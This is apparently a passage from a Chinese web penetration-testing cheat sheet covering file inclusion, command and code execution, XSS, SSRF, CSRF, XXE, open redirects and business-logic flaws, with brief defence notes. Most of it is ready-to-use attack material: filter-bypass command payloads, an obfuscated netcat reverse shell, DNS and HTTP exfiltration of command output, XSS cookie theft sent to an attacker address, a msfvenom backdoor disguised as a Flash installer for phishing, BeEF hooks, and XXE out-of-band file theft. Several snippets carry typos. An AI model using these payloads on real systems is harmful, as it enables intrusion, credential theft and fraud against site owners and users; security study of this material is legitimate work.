作用:读取数据,传入代码的话代码就会被执行。

要求:allow_url_fopenallow_url_include 开启

代码:

  • ?filename=data://text/plain,base64,<data>

  • data是base64编码后数据

例:data=PD9waHAgcGhwaW5mbygpOz8%2b<?php phpinfo();?>

5.5 phar

作用:解压,无论什么扩展名都会被当成压缩包。

要求:allow_url_fopenallow_url_include 开启

代码:?file=phar://压缩包/内部文件

例:?file=phar://shell.png/shell.php

5.6 zip

作用:同理 phar,用法不同。

代码:?file=zip://[压缩文件绝对路径] # [子文件名]

例:?file=zip://shell.png%23shell.php

5.7 expect

作用:处理交互式流。主要用来执行系统命令,需要装扩展。

例:?file=expect://ls

6 PHP不常用伪协议

协议 作用
http 访问 http(s) url
ftp 访问 ftp(s) url
php 访问各个输入输出流
zlib 处理压缩流
glob 查找匹配的文件路径模式
ssh2 Secure Shell 2
rar RAR数据压缩
ogg 处理音频流

7 防护

配置:

  1. 包含特定目录:open_basedir=/var/www/html/。(最后一个 / 要加)
  2. 关闭 all_url_include
<?php
// 修改代码层
$filename=$_GET['filename'];
switch($filename){
case 'index':case 'home': case 'admin':
include '/var/www/html/' .$filename .'.php';break;
default: break;
>

六、命令执行漏洞

1 php函数

proc_open

stream_get_contents

# 执行外部程序并输出。
string system(string $command [,int &$return_var])
<?php system('whoami'); ?>

# 执行外部程序,输出需要加上 echo。
string exec(string $command [,array &$output [,int &$return _var]])
<?php echo exec('whoami'); ?>

# shell 执行,输出需要加上 echo。
string shell_exec(string $cmd)
<?php echo shell_exec('whoami'); ?>

# 执行外部程序并显示原始输出。
void passthru( string $command [ , int &$return_var])
<?php passthru('whoami'); ?>

# 打开进程文件指针。
resource popen( string $command , string $mode)
<?php popen("touch test.txt","r") ?> # 可以在服务器中创建文件。

# 执行命令,并打开用来输入输出的文件指针。
resource proc_open(string $cmd,array $descriptorspec,array &$pipes[,string $cmd[,array $env [,array $other_options]]])
<?php $proc = poroc_open("whoami",array( array("pipe","r"),array("pipe","w"),array("pipe","w")),$pipes );print stream_get_contents($pipes[1]);?>

# 将反引号作为 shell 命令尝试执行。
<?php echo`whoami` ?>

2 Windows函数

text::Windows操作系统——Bat脚本——特殊字符。

&:前后都执行。

|:仅执行最后(前面的值当参数传递给后面)。

3 Linux函数

text::Ubuntu Linux——高级技巧——命令排列。

;:所有命令都被执行。

&:多条命令在后台执行。

4 绕过

4.1 空格绕过

9原理

# ${IFS}:shell 特殊环境变量,内部域分隔符,默认空白字符(空格,制表符和换行符等)
cat${IFS}1.php

$IFS$9,$IFS$1 # 空格
$PS2 # >
$PS4 # +

# url 编码,制表符代替空格。
%09

# {}
{ cat , 1.php }

# 重定向输入
cat<1.php

4.2 关键字绕过

变量赋值:

  • 原理:php 变量可以转换成值后直接拼接成字符串。

  • a=c;b=at;$a$b 1.php

空变量:

  • 原理:空变量等于空。

  • ca${x}t 1.php

系统变量:

  • 原理:系统变量自带值,直接提取系统变量中的值使用。

  • 查看系统值:echo ${SHELLOPTS}

  • ${SHELLOPTS:3:1}at 1.php

\绕过:

  • 原理:换行输入。

  • c\a\t 1.php

通配符:

  • 0 - n 个字符。
  • ? 一个任意字符。
  • [] 字符范围,表示该范围内任一字符。(例:[a~z])
  • /etc/passwd:cat /???/???sw?

shell反弹:

  • 原理:让客户机连接自己,自己作为服务器。

  • IP绕过:IP转化为十进制。

  • 建立服务器:nc -lp port

  • 原命令:/bin/nc 192.168.91.138 8888 -e /bin/bash

  • 绕过:/b??/?c 3232258951 -e /???/b??h(-e 命令默认关闭,需要改版本)

base64:

  • 原理:先编码再解码
  • echo "aWQ="|base64 -d

4.3 其他绕过

DNSLog下载

expr & awk原理:从其他文件中获得字符并进行命令构造。

无回显命令执行:无法反弹 shell,可以通过DNS 管道解析获得信息。

# expr & awk
expr substr $(awk NR=1 ctfs-wiki) 1 1

# 无回显命令执行
# Linux 用户名
curl test.ctfs-wiki.com/ `whoami`
# Linux 用户名
ping -c 1 whoami.test.ctfs-wiki.com
# Windows 计算机名
for /F %x in ('whoami') do start http://test.ctfs-wiki.com/%x
# Windows 用户名
for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.test.ctfs-wiki.com
# 网站用户名
curl "http://test.ctfs-wiki.com/?" `whoami`

5 防护

绕过防护

  1. PHP配置文件 disable_functions 禁用敏感函数。
  2. string escapeshellarg(string $arg):给字符串加一个单引号,存在的单引号会被转义。
  3. string escapeshellcmd(string $command):特殊字符都会被转义。

七、代码执行漏洞

1 普通函数

# 把字符串作为php代码执行
eval(string $code);
<?php @eval($_POST[1]);?>


# 检查一个断言是否为FALSE
bool assert(mixed $assertion[,Throwable $exception]);


# 把第一个参数作为回调函数调用,之后跟参数
mixed call_user_func(callable $callback[,mixed $parameter[,mixed $parameter ...]]);
<?php call_user_func($_POST['fun'],$_POST['arg']);?>
fun=system&arg=id # post请求


# 把第一个参数作为回调函数调用,之后跟参数数组
mixed call_user_func_array(callable $callback,array $param_arr);
<?php call_user_func($_POST['fun'],$_POST['arg']);?>
fun=system&arg=id # post请求


# 根据参数创建匿名函数,并为该匿名函数返回唯一名称
string create_function(string $args,string $code);
<?php
$id=$_GET('id');
$code='echo'.$func.'test'.$id.';';
create_function('$func',$code);
?>
# 等价于下列代码
<?php
$id=$_GET('id');
fucntion func($func){
echo "test".$id;
}
?>
# 使用代码
?id=1;}phpinfo();/* # 前面需要/*,这是注释保证后面代码颜色*/


# 为数组每个元素应用回调函数
array array_map(callable $callback,array $array1[,array $array2]);
<?php
$func=$_GET['func'];
$argv=$_GET['argv'];
$array[0]=$argv;
array_map($func,$array);
?>
# 使用代码
?func=system&argv=id;


# 执行一个正则表达式的搜索和替换。在subject中正则找到pattern中的内容,用replacement替代
mixed preg_replace(mixed $pattern,mixed $replacement,mixed $subject[,int $limit=-1[,int &$count]]);
# $pattern中以e结尾可以执行php

2 可变函数

变量名后有圆括号会被当成函数执行。

<?php
function foo() {
echo "In foo()<br />\n";
}
$func = 'foo';
$func(); // 调用 foo()
?>

八、XSS漏洞

1 常见XSS

1.1 反射型

发给服务器后服务器执行了script脚本后再发回来,代码不存入服务器。

反射型XSS原理及实操

<!-- 执行代码 -->
<srcipt>alter(1)</script>

<!-- 获得cookie -->
<script>alter(document.cookie);</script>
<script>console.log(document.cookie);</script>


<!-- 获得cookie并发送到指定IP -->
<script>window.location.href='http://IP:PORT/x.php='+document.cookie</script>

1.2 存储型

存在服务器。

发给服务器后服务器执行了script脚本后再发回来,代码存入服务器,之后用户访问都会执行该脚本。

<!--篡改链接-->
<script>
window.onload = function(){
var links = document.getElementsByTagName("a");

for(i = 0;i < links.length;i++)
links[i].href="http://www.xxx.com";
}
</script>

1.3 DOM型

基于文档对象模型(Document Object Model)

前端漏洞,存在于script的DOM对象中的漏洞,不与服务器交互。

<img src=1 onerror=alert(/ctfs/)/>:注入代码,找不到源会报错。

// 常见可能存在DOM的代码
document.write()
document.writeln()
document.domain
<someDOMElement>.innerHTML
<someDOMElement>.outerHTML
<someDOMElement>.insertAdjacentHTML
<someDOMElement>.onevent

2 不常见XSS

author::跨站的艺术-XSS入门与介绍

mXSS:mXSS中文是突变型XSS,指的是原先的Payload提交是无害不会产生XSS,而由于一些特殊原因,如反编码等,导致Payload发生变异,导致的XSS。

uXSS:利用浏览器或者浏览器扩展漏洞来制造产生XSS的条件并执行代码的一种攻击类型。

Flash XSS:swf文件和js可以互相调用,因此可以在swf中插入js进行攻击。

PDF XSS:在pdf中插入js代码,然后当别人点开后将会执行js代码(不一定执行,得看环境)。可以配合文件上传。

UTF-7 XSS、MHTML XSS、CSS XSS、VBScript XSS:不常见,过时漏洞,基本只能在IE浏览器执行。

3 应用场景

XSS-后台植入Cookie&表单劫持:

  • 条件:已取得相关web权限后
  1. 写入代码到登录成功文件,利用beef或xss平台实时监控Cookie等凭据实现权限维持
  2. 若存在同源策略或防护情况下,Cookie获取失败可采用表单劫持或数据明文传输实现

XSS-Flash钓鱼配合MSF捆绑上线:

  • 条件: beef上线受控后或直接钓鱼
  1. 生成后门:msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=6666 -f exe > flash.exe
  2. 下载官方文件-保证安装正常
  3. 压缩捆绑文件-解压提取运行
  4. MSF配置监听状态:
    1. use exploit/multi/handler
    2. set payload windows/meterpreter/reverse_tcp
    3. set lhost 0.0.0.0
    4. set lport 6666
    5. run
  5. 诱使受害者访问URL-语言要适当

XSS-汶览器网马配白MSF访问上线:

  • 条件:beef上线受控后或直接钓鱼(浏览器存在0day)
  1. 配置MSF生成URL:
    1. use exploit/windows/browser/ms14_064_ole_code_execution
    2. set allowpowershellprompt true
    3. set target 1
    4. run
  2. 诱使受害者访问URL-语言要适当

4 Beef

beef-xss浏览器劫持_beef docker-CSDN博客

XSS工具,搭建好服务器后只需要将代码<script src="http://IP:PORT/hook.js"></script>插入到目标网站,当有人访问目标网站时,就会将连接结果返回到Beef工具中,从而可以再对受害者做一些其他操作。

5 绕过

xss 常用标签及绕过姿势总结 - FreeBuf网络安全行业门户

XSS总结 - 先知社区 (aliyun.com)

构造JS时,再没有过滤的情况下,最好构造onload事件,因为该事件无需做任何操作既可被触发。

<!--1.引号变成反引号-->
<srcipt>alter(`1`)</script>

<!--2.双写绕过-->
<scscriptript>alert("xss")</scscriptript>

<!--3.编码绕过-->
<!--编码可以是Unicode,URL,ASCII,进制,base64-->
<script>eval(atob(base64))</script>
<img src="x" onerror="&#100;&#100;">

<!--4.伪协议绕过-->
<a hrrf="javascript:alert(document.cookie)">xss</a>

<!--5.空格绕过-->
<sc ript>alert("xss")</s cript>

<!--6.script绕过-->
<img src="1" onerror=alert('111');>

6 防护

  1. 配置CSP:内容安全策略(CSP)
  2. 系统过滤函数
  3. 自定义函数过滤关键字和符号
  4. 开启HttpOnly
# 转换字符为HTML字符编码。quotestyle:定义如何对单引号和双引号进行编码
htmlentities(string,[quotestyle,character-set]);

# 预定义特殊字符转化成html实体。如:&,<,>(默认不编码单引号)
/*
ENT_COMPAT:默认。仅编码双引号
ENT_QUOTES:编码单双引号
ENT_NOQUOTES:不编码任何引号
*/
htmlspecialchars(string,ENT_QUOTES);

九、SSRF漏洞

1 利用

Server-Side Request Forge,服务端请求伪造。用于内网渗透。

原因:服务器可以访问网络中其他服务器,对url没有严格过滤。

Gopher

利用方式:

  • 通过服务器获取内网主机、端口和 banner 信息
  • 对内网的应用程序进行攻击,例如 Redis、JBoss等
  • 利用 file:// 伪协议读取文件
  • 可以攻击内网程序,造成缓冲区溢出

易出现场景:

  • 转码服务
  • 在线翻译
  • 分享,通过 url 地址分享文章
  • 通过 url 地址加载或下载图片
  • 图片、文章收藏功能
  • 网站采集、网页抓取
  • 远程加载头像
  • 一切可以输入网址和 IP 的地方

漏洞案例:

# 敏感php函数
# 对传入的url进行请求并返回请求结果
curl_exec(url);
# 把整个文件读入一个字符串中
file_get_contents(path[,include_path,context,start,max_length]);

# 利用
# 端口检测(自连测端口),返回mysql数据库版本信息则是开启,没有返回或长时间不返回则是未开启
?url = http://127.0.0.1:3306
# 读取文件
?url = file:///etc//passwd
?file = file:///c:/windows/win.ini
# 访问首页
?url = gopher://127.0.0.1:80/_GET%20%2findex.php
# jmx控制台
?url = http://ip:port/jmx-console/

# php为协议
?url = ?file=php://filter/read=convert.base64-encode/resource=ssrf.php

2 防护

  1. 过滤请求协议,只允许 http 或者 https 开头的协议。
  2. 严格限制访问的 IP 地址,只允许访问特定 IP 地址。
  3. 限制访问的端口,只允许访问特定的端口。
  4. 设置统一的错误信息,防止造成信息泄露。

十、CSRF剖析

1 利用

定义:Cross-site request forgery,即,跨站请求伪造,也被称为 “One Click Attack” 或 “Session Riding”,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。举个生活中的例子:就是某个人点了个奇怪的链接,自己什么也没输,但自己的qq号或其他的号就被盗了。即该攻击可以在受害者不知情的情况下以受害者名义伪造请求,执行恶意操作,具有很大的危害性。

CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。

常见利用流程:

  1. 获取目标的触发数据包
  2. 利用CSRFTester构造导出:CSRF自动化测试-CSRFTester | LuckySec
  3. 诱使受害者访问特定地址触发

CSRF的攻击过程两个条件:

  1. 目标用户已经登录了网站,能够执行网站的功能
  2. 目标用户访问了攻击者构造的URL

CSRF安全问题黑盒怎么判断:

  1. 看验证来源
  2. 看凭据有无token
  3. 看关键操作有无验证

2 防护

  1. 验证HTTP Referer字段
  2. Token验证
  3. 添加验证码

十一、XXE漏洞

1 XML基础

XML与HTML的主要差异:

  • XML被设计为传输和存储数据,其焦点是数据的内容。
  • HTML被设计用来显示数据,其焦点是数据的外观。
  • HTML旨在显示信息,而XML旨在传输信息。
<!--XML声明(定义了XML的版本和编码),必须写在第一行-->
<!--version必选,encoding可选-->
<?xml version="1.0" encoding="ISO-8859-1" ?>
<!--文档类型定义-->
<!--<!DOCTYPE 根元素 [元素声明]-->
<!--<!ELEMENT 元素名 类型-->
<!DOCTYPE note[
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>]>
<!--文档元素-->
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

<!--外部文档引用-->
<!--本地-->
<!DOCTYPE 根元素 SYSTEM "文件名">
<!DOCTYPE note SYSTEM "note.dtd">
<!--网络-->
<!DOCTYPE 根元素 PUBLIC “DTD名称” "DTD文档的URL">
<!DOCTYPE html public "-/ctfs/dtd html 4.01/en" "http://www.ctfs-wiki.com/note.dtd"

2 XXE漏洞

应用程序在解析XML时没有过滤外部实体的加载,导致加载了恶意的外部文件,造成执行命令、读取文件、扫描内网、攻击内网等危害

windows换行:回车(CR)+ 换行(LF)

XXE黑盒发现:

  1. 获取得到Content-Type或数据类型为xml时,尝试进行xml语言payload进行测试
  2. 不管获取的Content-Type类型或数据传输类型,均可尝试修改后提交测试xxe
  3. XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行

XXE白盒发现:

  1. 可通过应用功能追踪代码定位审计
  2. 可通过脚本特定函数搜索定位审计(xml)
  3. 可通过伪协议玩法绕过相关修复等

回显无结果(有多种情况,需要依次检查):

  1. 网站本身无回显
  2. payload写错
  3. 漏洞不存在

带外测试:可以获得IP地址,同时测试漏洞是否存在。因为有时候页面并不会回显信息,所以此时无法判断是漏洞不存在还是信息不回显。通过带外测试看返回值即可测试出漏洞是否存在。DNSLog Platform

实体引用:

  1. 解决拦截防护绕过问题
  2. 解决数据不回显问题

CTF XXE

// 示例代码
<?php
libxml_disable_entity_loader(false);
$xmlfile=file_get_contents('php://input');

$dom=new DOMDocument();
$dom->loadXML($xmlfile,LIBXML_NOENT|LIBXML_DTDLOAD);
$creds=simplexml_import_dom($dom);

$username=$creds->username;
$password=$creds->password;
echo 'hello '.$username;
?
<!--文件读取-->
<?xml version="1.0" ?>
<!DOCTYPE creds[
<!ELEMENT username ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<creds>
<username>&xee;</username>
<password>test</password>
</creds>

<!--内网探测-->
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">]>

<!--内网应用攻击-->
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.deployment:type=DeploymentScanner,flavor=URL&methodIndex=7&arg0=http://10.2.7.11/cmd.war">]>

<!--文件读取,调用伪协议执行命令-->
<!ENTITY xxe SYSTEM "except://id">]>

<!--xxe回显-->
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe "xxe" > ]> <foo>&xxe;</foo>

<!--读取系统文件-->
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> <foo>&xxe;</foo>

<!--读取源码-->
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=flag.php" > ]> <foo>&xxe;</foo>

<!--端口爆破-->
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=flag.php" > ]> <foo>&xxe<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://127.0.0.1:80" > ]> <foo>&xxe;</foo>;</foo>

<!--带外测试-->
<?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://url.dnslog.cn"> %file;]> <user><username>&send;</username><password>Mikasa</password></user>

<!--引用远程实体-->
<?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://127.0.0.1:8081/web/php_xxe/evil2.dtd"> %file;]> <user><username>&send;</username><password>Mikasa</password></user>
<!--evil2.dtd:读取d:www.txt内容-->
<!ENTITY send SYSTEM "file:///d:/www.txt">
<!--无回显读文件,解决数据不回显问题。把数据进行传参,然后在进行-->
<!--上传的xml-->
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/www.txt">
<!ENTITY % remote SYSTEM "http://127.0.0.1:8081/web/php_xxe/test.dtd">
%remote;
%all;
]>
<root>&send;</root>

<!--test.dtd-->
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8081/web/get1.php?file=%file;'>">

<!--get1.php-->
<?php
$data=$_GET['file'];
$myfile = fopen("file.txt", "w+");
fwrite($myfile, $data);
fclose($myfile);
?>

<!--最后在http://127.0.0.1:8081/web/get1.php同级目录下查看file.txt文件就可以获取到www.txt内容-->

3 防护

禁用外部实体:

  • PHP:libxml_disable_entity_loader(true);
  • JAVA:DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);
  • Python:from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤用户提交的XML数据:

  • 过滤关键词为 <! DOCTYPE、<! ENTITY、SYSTEM、PUBLIC

十二、反序列化漏洞

text::Web语言漏洞


十三、其他漏洞

1 CRLF注入

原理:因为Web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符。攻击者一旦向请求行或首部中的字段注入恶意的CRLF,就能注入一些首部字段或报文主体,并在响应中输出,所以又称为HTTP响应拆分漏洞。

这个恶意数据会形成换行,可以配合XSS使用。

使用案例:

  • GET %0a%0dSet-Cookie:%20a=1 HTTP/1.1
  • GET %0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>/ HTTP/1.1

自动工具:

2 URL重定向

定义:网站的页面中可以接受用户输入的链接。如果对链接不做验证,可能导致跳转过去的用户被精心设置的钓鱼页面骗走自己的个人信息和登录口令。

绕过方式:

  1. 单斜线”/“绕过:https://www.landgrey.me/redirect.php?url=/www.evil.com

  2. 缺少协议绕过:https://www.landgrey.me/redirect.php?url=//www.evil.com

  3. 多斜线”/“前缀绕过:https://www.landgrey.me/redirect.php?url=///www.evil.comhttps://www.landgrey.me/redirect.php?url=www.evil.com
  4. 利用”@”符号绕过:https://www.landgrey.me/redirect.php?url=https://www.landgrey.me@www.evil.com
  5. 利用反斜线”\“绕过:https://www.landgrey.me/redirect.php?url=https://www.evil.com\www.landgrey.me
  6. 利用”#”符号绕过:https://www.landgrey.me/redirect.php?url=https://www.evil.com#www.landgrey.me
  7. 利用”?”号绕过:https://www.landgrey.me/redirect.php?url=https://www.evil.com?www.landgrey.me
  8. 利用”\\“绕过:https://www.landgrey.me/redirect.php?url=https://www.evil.com\\www.landgrey.me
  9. 利用”.”绕过:https://www.landgrey.me/redirect.php?url=.evil (可能会跳转到www.landgrey.me.evil域名),https://www.landgrey.me/redirect.php?url=.evil.com(可能会跳转到evil.com域名)
  10. 重复特殊字符绕过 https://www.landgrey.me/redirect.php?url=///www.evil.com//..https://www.landgrey.me/redirect.php?url=www.evil.com//..

3 Web拒绝服务

原理:当我们可以对服务器的资源属性做控制时,我们可以故意修改资源的属性,让服务器处理不过来导致拒绝服务。

使用方式:

  1. 验证码或图片显示自定义大小
  2. 上传压缩包解压循环资源占用。例如:42.zip (unforgettable.dk),解压完将近要4.5PB的空间。

4 跨域漏洞

COSP跨域资源:

子域名接管:攻击者利用过期或未使用的子域名来获取对特定网站或服务的控制权。

JSONP跨域回调:


十四、代码审计

text::Web语言漏洞

网页源码:

  1. 【命令执行】cat php|base64:直接显示。
  2. 【命令执行】使用 cat php 包含网页后可以:网页右键——查看源代码。

代码审计工具:

  • C/C++:PC-Lint
  • JAVA:PMD
  • .NET:StyleCop
  • C#:FxCop
  • 静态分析—Bug查找:PMD、FindBugs、Coverity、Klocwork。

python:

  • 工具:https://bandit.readthedocs.io/
  • 安装:pip install bandit(直接执行)。
  • linux:安装后会在当前Python目录下bin。windows:安装后会在当前Python目录下script
  • 使用:bandit -r 需要审计的源码目录

十五、逻辑漏洞

1 权限漏洞

程序业务或功能上的设计缺陷。

越权:

  • 本质:某账户拥有了超出它应有权限的范围。
  • 水平越权:拥有了同等的其他账户的权限。
  • 垂直越权:拥有了更高账户的权限。

访问控制原理:

  • 验证丢失:未包含引用验证代码文件等
  • 取消验证:支持空口令,匿名,白名单等
  • 脆弱验证:Cookie&Token&Jwt,不安全的验证逻辑等

自动工具:

2 购买漏洞

知识点:

  1. 商品购买-数量&价格&编号等
  2. 支付模式-状态&接口&负数等
  3. 折扣处理-优惠券&积分&重放等

详细利用:

  1. 熟悉常见支付流程:选择商品和数量-选择支付及配送方式-生成订单编号-订单支付选择-完成支付
  2. 熟悉那些数据篡改:商品编号ID,购买价格,购买数量,支付方式,订单号,支付状态等 数量能不能修改,价格能不能修改,编号能不能修改。怎么判定支付成功还是支付失败(能不能修改),支付接口能不能被篡改
  3. 熟悉那些修改方式:替换支付(用3000支付6000的东西),重复支付(支付完成,把支付流程数据包重新走一遍),最小额支付,负数支付,溢出支付,优惠券支付等

数据篡改-价格&数量&产品:

  1. 修改数量达到价格变动
  2. 修改单价达到价格变动
  3. 修改产品达到低价购买
  4. 修改接口达到成功购买

修改方式-订单号&数量&忧患券:

  1. 修改数量达到价格变动
  2. 修改订单达到底价购买
  3. 优惠券重放使用&重领使用

代码审计-业务支付逻辑&安全修复:

  • 金额以数据库定义为准
  • 购买数量限制为正整数
  • 优患券回定使用后删除
  • 订单生成后检测对应值

3 验证码漏洞

知识点:

  1. 找回密码逻辑机制-回显&验证码&指向
  2. 验证码验证安全机制-爆破&复用&识别
  3. 找回密码-客户端回显&Response状态值&修改重定向
  4. 验证码技术-验证码爆破,验证码复用,验证码识别等

找回密码流程安全:

  1. 用回显状态判断-res前端判断不安全(以前端接受返回状态)
  2. 用用户名重定向-修改标示绕过验证(将修改目录换成其他用户)
  3. 验证码回显显示-验证码泄漏验证虚设(有没有在数据包显示)
  4. 验证码简单机制-验证码过于简单爆破(4位和6位,验证码提交次数没有限制)

验证码绕过安全:

  1. 验证码简单机制-验证码过于简单爆破
  2. 验证码重复使用-验证码验证机制绕过
  3. 验证码智能识别-验证码图形码被识别
  4. 验证码接口调用-验证码触发机制枚举

安全修复方案:

  • 找回机制要进行每一步验证-防绕过重定向
  • 找回机制要进行服务端验证-防res数据修改
  • 找回机制要控制验证码安全-防验证码攻击
  • 验证码接口需验证后被调用-防接口被乱调用
  • 验证码引用智能化人工判断-防验证码被识别
  • 验证码采用时间段生效失效-防验证码被复用

Burpsuite验证码识别插件 “captcha-killer-modified“ 使用教程(详细)-CSDN博客


十六、网站渗透

1 渗透思路

资产架构:

  • 网站源码漏洞
  • 网站框架漏洞
  • 网站端口漏洞
  • 第三方插件漏洞

番外安全:

  • 域名解析安全(域名商)
  • 中间件漏洞
  • 数据库漏洞
  • 容器漏洞
  • 服务器运营商
  • 个人安全(社工等)

网站防护:

  • 站库分离:网站和数据库不在同一主机上,不同主机配置不同,可以防御一些攻击。
  • CDN加速服务:将站点内容发布至遍布全球的海量加速节点,使其用户可就近获取所需内容。攻击者攻击的不是真实IP,难以获得权限。
  • 负载均衡服务:主机下有多台备用机,攻击后拿到的权限可能是备用机的,这样可能得不到想要的内容。
  • WAF应用防火墙
  • 主机防护防火墙:杀毒软件,服务器防护产品。例如:网站安全狗服务器安全狗